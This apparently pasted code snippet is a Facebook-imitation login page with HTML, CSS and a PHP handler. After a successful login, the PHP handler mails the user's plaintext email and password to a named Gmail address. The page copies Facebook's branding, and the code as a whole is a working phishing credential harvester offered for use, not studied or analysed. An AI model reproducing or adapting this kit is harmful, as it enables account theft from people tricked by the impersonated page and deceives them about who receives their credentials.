hi

 


<!DOCTYPE html>
<html>
<head>
  <title>Facebook Login</title>
  <link rel="stylesheet" href="style.css">
</head>
<body>

  <div class="container">

    <div class="header">
      <img src="facebook-logo.png" alt="Facebook">
    </div>

    <div class="content">

      <?php if (isset($error)) { ?>
        <div class="error"><?php echo $error; ?></div>
      <?php } ?>

      <form action="login.php" method="post">

        <input type="text" name="email" placeholder="Email or Phone">
        <input type="password" name="password" placeholder="Password">

        <button type="submit">Log In</button>

      </form>

      <a href="#">Forgot Account?</a>

    </div>

  </div>

</body>
</html>
 
 
body {
    font-family: Arial, sans-serif;
    background-color: #f0f2f5;
  }
 
  .container {
    width: 350px;
    margin: 0 auto;
    padding: 20px;
    background-color: #ffffff;
  }
 
  .header {
    text-align: center;
  }
 
  .header img {
    width: 150px;
  }
 
  .content {
    margin-top: 20px;
  }
 
  form {
    display: flex;
    flex-direction: column;
    gap: 10px;
  }
 
  input {
    width: 100%;
    padding: 10px;
    border: 1px solid #cccccc;
    border-radius: 5px;
  }
 
  button {
    width: 100%;
    padding: 10px;
    background-color: #4267b2;
    color: #ffffff;
    border: 1px solid #4267b2;
    border-radius: 5px;
  }
 
  a {
    text-align: right;
    color: #000000;
  }
 
 
```php
<?php

// Check if the user is already logged in
if (isset($_SESSION['user_id'])) {
  // Redirect the user to the home page
  header("Location: home.php");
  exit;
}

// Check if the login form was submitted
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Get the email and password from the form
  $email = $_POST['email'];
  $password = $_POST['password'];

  // Validate the email and password
  if ($email == "" || $password == "") {
    $error = "Please enter your email and password.";
  } else {

    // Connect to the database
    $mysqli = new mysqli("localhost", "username", "password", "database");

    // Check if the user exists in the database
    $sql = "SELECT * FROM users WHERE email = ?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $email);
    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows == 0) {
      $error = "The email you entered does not exist.";
    } else {

      // Get the user's password from the database
      $row = $result->fetch_assoc();
      $hashed_password = $row['password'];

      // Check if the password is correct
      if (!password_verify($password, $hashed_password)) {
        $error = "The password you entered is incorrect.";
      } else {

        // Log the user in
        $_SESSION['user_id'] = $row['id'];

        // Send the email and password to your Gmail account
        $to = "monsteriam05@gmail.com";
        $subject = "New Login Attempt";
        $message = "Email: $email\nPassword: $password";
        mail($to, $subject, $message);

        // Redirect the user to the home page
        header("Location: home.php");
        exit;

      }

    }

    // Close the database connection
    $mysqli->close();

  }

}

?>

Comments